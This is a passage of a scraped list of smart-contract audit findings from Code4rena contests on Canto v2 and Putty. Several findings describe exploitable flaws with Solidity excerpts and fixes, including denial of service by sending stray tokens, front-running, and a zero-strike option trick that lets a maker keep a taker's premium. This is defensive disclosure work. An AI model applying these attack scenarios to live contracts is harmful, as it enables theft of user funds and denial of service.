"2022-06-canto-v2-findings", "body": "A cap is needed on the amount of Note than can be borrowed"}, {"title": "Stableswap - Deadline do not work", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-canto-v2-findings", "body": "Stableswap - Deadline do not work"}, {"title": "Total supply can be incorrect in `ERC20`", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/88", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-06-canto-v2-findings", "body": "Total supply can be incorrect in `ERC20`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "CALL() Should be used instead of Transfer() on An address payable ", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-canto-v2-findings", "body": "CALL() Should be used instead of Transfer() on An address payable "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Multiple initialization in `NoteInterest`", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-canto-v2-findings", "body": "Multiple initialization in `NoteInterest`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Deny of service in `CNote.doTransferOut`", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/43", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.dev/Plex-Engineer/lending-market-v2/blob/2646a7676b721db8a7754bf5503dcd712eab2f8a/contracts/CNote.sol#L148 # Vulnerability details ## Impact The `CNote.doTransferOut` method is susceptible to denial of service. ## Proof of Concept The logic of the `doTransferOut` method in `CNote` is as follows: ```javascript function doTransferOut(address payable to, uint amount) virtual override internal { require(address(_accountant) != address(0)); EIP20Interface token = EIP20Interface(underlying); if (to != address(_accountant)) { uint err = _accountant.supplyMarket(amount); if (err != 0) { revert AccountantRedeemError(amount); } } token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { success := not(0) } case 32 { returndatacopy(0, 0, 32) success := mload(0) } default { revert(0, 0) } } require(success, \"TOKEN_TRANSFER_OUT_FAILED\"); require(token.balanceOf(address(this)) == 0, \"cNote::doTransferOut: TransferOut Failed\"); // <-- ERROR } ``` The `doTransferOut` method receives an `amount` which is transferred to `to`, after it the balance of the contract token is checked to be equal to zero or the transaction will be reverted. In the following cases a denial of service will occur: - In the case that is used an `amount` different than the balance, the transaction will be reverted. - **In the case that an attacker front-runs the transaction and sends one token more than the established by the `_accountant`.** - In case of increasing balance tokens like `mDai` that constantly change their balance, the established by the `_accountant` will be different when the transaction is persisted. ## Recommended Mitigation Steps - Use balance differences instead of the 0 check. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "getBorrowRate returns rate per year instead of per block", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/38", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/2646a7676b721db8a7754bf5503dcd712eab2f8a/contracts/NoteInterest.sol#L118 https://github.com/Plex-Engineer/lending-market-v2/blob/2646a7676b721db8a7754bf5503dcd712eab2f8a/contracts/CToken.sol#L209 # Vulnerability details ## Impact According to the documentation in `InterestRateModel`, `getBorrowRate` has to return the borrow rate per block and the function `borrowRatePerBlock` in `CToken` directly returns the value of `getBorrowRate`. However, the rate per year is returned for `NoteInterest`. Therefore, using `NoteInterest` as an interest model will result in completely wrong values. ## Recommended Mitigation Steps Return `baseRatePerBlock`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Deny of service in `AccountantDelegate.sweepInterest`", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/28", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.dev/Plex-Engineer/lending-market-v2/blob/2646a7676b721db8a7754bf5503dcd712eab2f8a/contracts/Accountant/AccountantDelegate.sol#L101 # Vulnerability details ## Impact The `sweepInterest` method is susceptible to denial of service. ## Proof of Concept The logic of the `sweepInterest` method relative to the `treasury` is as follows: ```javascript bool success = cnote.transfer(treasury, amtToSweep); if (!success) { revert SweepError(treasury , amtToSweep); } TreasuryInterface Treas = TreasuryInterface(treasury); Treas.redeem(address(cnote),amtToSweep); require(cnote.balanceOf(treasury) == 0, \"AccountantDelegate::sweepInterestError\"); ``` As you can see, `amtToSweep` is passed to it and `redeem` that amount. Later it is checked that the balance of `cnote` in the `treasury` address must be 0. However, all calculations related to `amtToSweep` come out of the balance of [address(this)](https://github.dev/Plex-Engineer/lending-market-v2/blob/2646a7676b721db8a7754bf5503dcd712eab2f8a/contracts/Accountant/AccountantDelegate.sol#L83-L84) so if a third party sends a single token `cnote` to the address of `treasury` the method will be denied. ## Recommended Mitigation Steps - Check that the balance is the same after and before the `bool success = cnote.transfer(treasury, amtToSweep);` "}, {"title": "WETH: withdraw() calls native payable.transfer, which can be unusable for smart contract calls", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-canto-v2-findings", "body": "WETH: withdraw() calls native payable.transfer, which can be unusable for smart contract calls"}, {"title": "missing zero address check can cause initialize to be called more than once", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-canto-v2-findings", "body": "missing zero address check can cause initialize to be called more than once"}, {"title": "AccountantDelegate: The sweepInterest function sweeps an incorrect number of cnote.", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/11", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/ea5840de72eab58bec837bb51986ac73712fcfde/contracts/Accountant/AccountantDelegate.sol#L80-L99 # Vulnerability details ## Impact In the sweepInterest function of the AccountantDelegate contract, the number of cnote sent to treasury should be cNoteToSweep instead of amtToSweep, as amtToSweep will normally be smaller than cNoteToSweep, which will cause the interest to be locked in the in the contract. ``` uint amtToSweep = sub_(cNoteAmt, noteDiff); // amount to sweep in Note, uint cNoteToSweep = div_(amtToSweep, exRate); // amount of cNote to sweep = amtToSweep(Note) / exRate cNoteToSweep = (cNoteToSweep > cNoteBal) ? cNoteBal : cNoteToSweep; bool success = cnote.transfer(treasury, amtToSweep); if (!success) { revert SweepError(treasury , amtToSweep); //handles if transfer of tokens is not successful } TreasuryInterface Treas = TreasuryInterface(treasury); Treas.redeem(address(cnote),amtToSweep); ``` ## Proof of Concept https://github.com/Plex-Engineer/lending-market-v2/blob/ea5840de72eab58bec837bb51986ac73712fcfde/contracts/Accountant/AccountantDelegate.sol#L80-L99 ## Tools Used None ## Recommended Mitigation Steps ```diff uint amtToSweep = sub_(cNoteAmt, noteDiff); // amount to sweep in Note, uint cNoteToSweep = div_(amtToSweep, exRate); // amount of cNote to sweep = amtToSweep(Note) / exRate cNoteToSweep = (cNoteToSweep > cNoteBal) ? cNoteBal : cNoteToSweep; - bool success = cnote.transfer(treasury, amtToSweep); + bool success = cnote.transfer(treasury, cNoteToSweep); if (!success) { - revert SweepError(treasury , amtToSweep); //handles if transfer of tokens is not successful + revert SweepError(treasury , cNoteToSweep); //handles if transfer of tokens is not successful } TreasuryInterface Treas = TreasuryInterface(treasury); - Treas.redeem(address(cnote),amtToSweep); + Treas.redeem(address(cnote),cNoteToSweep); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Existing proposal check is missing", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "Existing proposal check is missing"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/1", "labels": [], "target": "2022-06-canto-v2-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/435", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/432", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/430", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/429", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/428", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/425", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/424", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/423", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "`fee` can change without the consent of users", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/422", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L240 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L497 # Vulnerability details ## Impact Fees are applied during `withdraw`, but can change between the time the order is filled and its terms are agreed upon and the withdrawal time, leading to a loss of the expected funds for the concerned users. ## Proof of Concept The scenario would be: - Alice and Bob agrees to fill an order at a time fees are 0.1% - During the duration of the option, fees are increased to 3% - At withdrawal they'll pay 3% of the strike, although they wouldn't have created the order in the first place with such fees ## Recommended Mitigation Steps Mitigation could be: - Store the fees in `Order` and verify that they are correct when the order is filled, so they are hardcoded in the struct - Add a timestamp: this wouldn't fully mitigate but would still be better than the current setup - Keep past fees and fee change timestamps in memory (for example in an array) to be able to retrieve the creation time fees at withdrawal "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/420", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/419", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Zero strike call options can be systemically used to steal premium from the taker", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/418", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L435-L437 # Vulnerability details Some non-malicious ERC20 do not allow for zero amount transfers and order.baseAsset can be such an asset. Zero strike calls are valid and common enough derivative type. However, the zero strike calls with such baseAsset will not be able to be exercised, allowing maker to steal from the taker as a malicious maker can just wait for expiry and withdraw the assets, effectively collecting the premium for free. The premium of zero strike calls are usually substantial. Marking this as high severity as in such cases malicious maker knowing this specifics can steal from taker the whole premium amount. I.e. such orders will be fully valid for a taker from all perspectives as inability to exercise is a peculiarity of the system which taker in the most cases will not know beforehand. ## Proof of Concept Currently system do not check the strike value, unconditionally attempting to transfer it: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L435-L437 ```solidity } else { ERC20(order.baseAsset).safeTransferFrom(msg.sender, address(this), order.strike); } ``` As a part of call exercise logic: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L422-L443 ```solidity function exercise(Order memory order, uint256[] calldata floorAssetTokenIds) public payable { ... if (order.isCall) { // -- exercising a call option // transfer strike from exerciser to putty // handle the case where the taker uses native ETH instead of WETH to pay the strike if (weth == order.baseAsset && msg.value > 0) { // check enough ETH was sent to cover the strike require(msg.value == order.strike, \"Incorrect ETH amount sent\"); // convert ETH to WETH // we convert the strike ETH to WETH so that the logic in withdraw() works // - because withdraw() assumes an ERC20 interface on the base asset. IWETH(weth).deposit{value: msg.value}(); } else { ERC20(order.baseAsset).safeTransferFrom(msg.sender, address(this), order.strike); } // transfer assets from putty to exerciser _transferERC20sOut(order.erc20Assets); _transferERC721sOut(order.erc721Assets); _transferFloorsOut(order.floorTokens, positionFloorAssetTokenIds[uint256(orderHash)]); } ``` Some tokens do not allow zero amount transfers: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers This way for such a token and zero strike option the maker can create short call order, receive the premium: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L327-L339 ```solidity if (weth == order.baseAsset && msg.value > 0) { // check enough ETH was sent to cover the premium require(msg.value == order.premium, \"Incorrect ETH amount sent\"); // convert ETH to WETH and send premium to maker // converting to WETH instead of forwarding native ETH to the maker has two benefits; // 1) active market makers will mostly be using WETH not native ETH // 2) attack surface for re-entrancy is reduced IWETH(weth).deposit{value: msg.value}(); IWETH(weth).transfer(order.maker, msg.value); } else { ERC20(order.baseAsset).safeTransferFrom(msg.sender, order.maker, order.premium); } ``` Transfer in the assets: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L366-L371 ```solidity // filling short call: transfer assets from maker to contract if (!order.isLong && order.isCall) { _transferERC20sIn(order.erc20Assets, order.maker); _transferERC721sIn(order.erc721Assets, order.maker); return positionId; } ``` And wait for expiration, knowing that all attempts to exercise will revert: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L435-L437 ```solidity } else { ERC20(order.baseAsset).safeTransferFrom(msg.sender, address(this), order.strike); } ``` Then recover her assets: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L508-L519 ```solidity // transfer assets from putty to owner if put is exercised or call is expired if ((order.isCall && !isExercised) || (!order.isCall && isExercised)) { _transferERC20sOut(order.erc20Assets); _transferERC721sOut(order.erc721Assets); // for call options the floor token ids are saved in the long position in fillOrder(), // and for put options the floor tokens ids are saved in the short position in exercise() uint256 floorPositionId = order.isCall ? longPositionId : uint256(orderHash); _transferFloorsOut(order.floorTokens, positionFloorAssetTokenIds[floorPositionId]); return; } ``` ## Recommended Mitigation Steps Consider checking that strike is positive before transfer in all the cases, for example: ```solidity } else { + if (order.strike > 0) { ERC20(order.baseAsset).safeTransferFrom(msg.sender, address(this), order.strike); + } } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/417", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/415", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/413", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/412", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/411", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/409", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/408", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/407", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/403", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/402", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/399", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/398", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "`cancel()` function does not check if the order already was filled at some point.", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/396", "labels": ["bug", "help wanted", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L526 # Vulnerability details ## Impact An **order** could be canceled even after the **order** was filled. Even if this does not affect any other part of the process, the mapping `cancelledOrders` still gets updated and a `CancelledOrder` event is emitted, this could cause issues on a front-end or monitoring tools working with the protocol. ## Proof of Concept ```solidity function cancel(Order memory order) public { require(msg.sender == order.maker, \"Not your order\"); bytes32 orderHash = hashOrder(order); // mark the order as cancelled cancelledOrders[orderHash] = true; emit CancelledOrder(orderHash, order); } ``` ## Recommended Mitigation Steps Check if the order was already filled before. This could be done by checking if an `nft` with the order id was created before. ```diff function cancel(Order memory order) public { require(msg.sender == order.maker, \"Not your order\"); bytes32 orderHash = hashOrder(order); + require(ownerOf(uint256(orderHash)) == address(0), \"This order was already filled\"); // mark the order as cancelled cancelledOrders[orderHash] = true; emit CancelledOrder(orderHash, order); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/393", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/392", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/391", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/390", "labels": ["bug", "QA (Quality Assurance)", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/385", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/384", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "setBaseURI() and setFee() functions are payable but don't perform any logic on assets", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/383", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-putty-findings", "body": "setBaseURI() and setFee() functions are payable but don't perform any logic on assets"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/381", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/379", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/378", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "The contract serves as a flashloan pool without fee", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/377", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "old-submission-method"], "target": "2022-06-putty-findings", "body": "The contract serves as a flashloan pool without fee"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/374", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Zero strike call options will avoid paying system fee", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/373", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L494-L506 # Vulnerability details Zero and near zero strike calls are common derivative type. For such derivatives the system will not be receiving fees are the fee is now formulated as a fraction of order strike. Also, it can be a problem for OTM call options, when the option itself is nearly worthless, while the fee will be substantial as strike will be big. Say 1k ETH BAYC call doesn't have much value, but the associated fee will be 10x of usual fee, i.e. substantial, while there is nothing to justify that. Marking this as medium severity as that's a design specifics that can turn off or distort core system fee gathering. ## Proof of Concept Currently fee is linked to the order strike which makes it vary heavily for different types of orders, for example deep ITM and OTM calls: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L494-L506 ```solidity // transfer strike to owner if put is expired or call is exercised if ((order.isCall && isExercised) || (!order.isCall && !isExercised)) { // send the fee to the admin/DAO if fee is greater than 0% uint256 feeAmount = 0; if (fee > 0) { feeAmount = (order.strike * fee) / 1000; ERC20(order.baseAsset).safeTransfer(owner(), feeAmount); } ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike - feeAmount); return; } ``` ## Recommended Mitigation Steps Consider linking the fee to option premium as this is option value that cannot be easily manipulated and exactly corresponds to the trading volume of the system. I.e. consider moving fee gathering to fillOrder: https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L322-L340 ```solidity // transfer premium to whoever is short from whomever is long if (order.isLong) { ERC20(order.baseAsset).safeTransferFrom(order.maker, msg.sender, order.premium); } else { // handle the case where the user uses native ETH instead of WETH to pay the premium if (weth == order.baseAsset && msg.value > 0) { // check enough ETH was sent to cover the premium require(msg.value == order.premium, \"Incorrect ETH amount sent\"); // convert ETH to WETH and send premium to maker // converting to WETH instead of forwarding native ETH to the maker has two benefits; // 1) active market makers will mostly be using WETH not native ETH // 2) attack surface for re-entrancy is reduced IWETH(weth).deposit{value: msg.value}(); IWETH(weth).transfer(order.maker, msg.value); } else { ERC20(order.baseAsset).safeTransferFrom(msg.sender, order.maker, order.premium); } } ``` "}, {"title": "Create a short call order with non empty floor makes the option impossible to exercise and withdraw", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/369", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L296-L298 # Vulnerability details ## Impact **HIGH** - assets can be lost If a short call order is created with non empty floorTokens array, the taker cannot exercise. Also, the maker cannot withdraw after the expiration. The maker will still get premium when the order is filled. If the non empty floorTokens array was included as an accident, it is a loss for 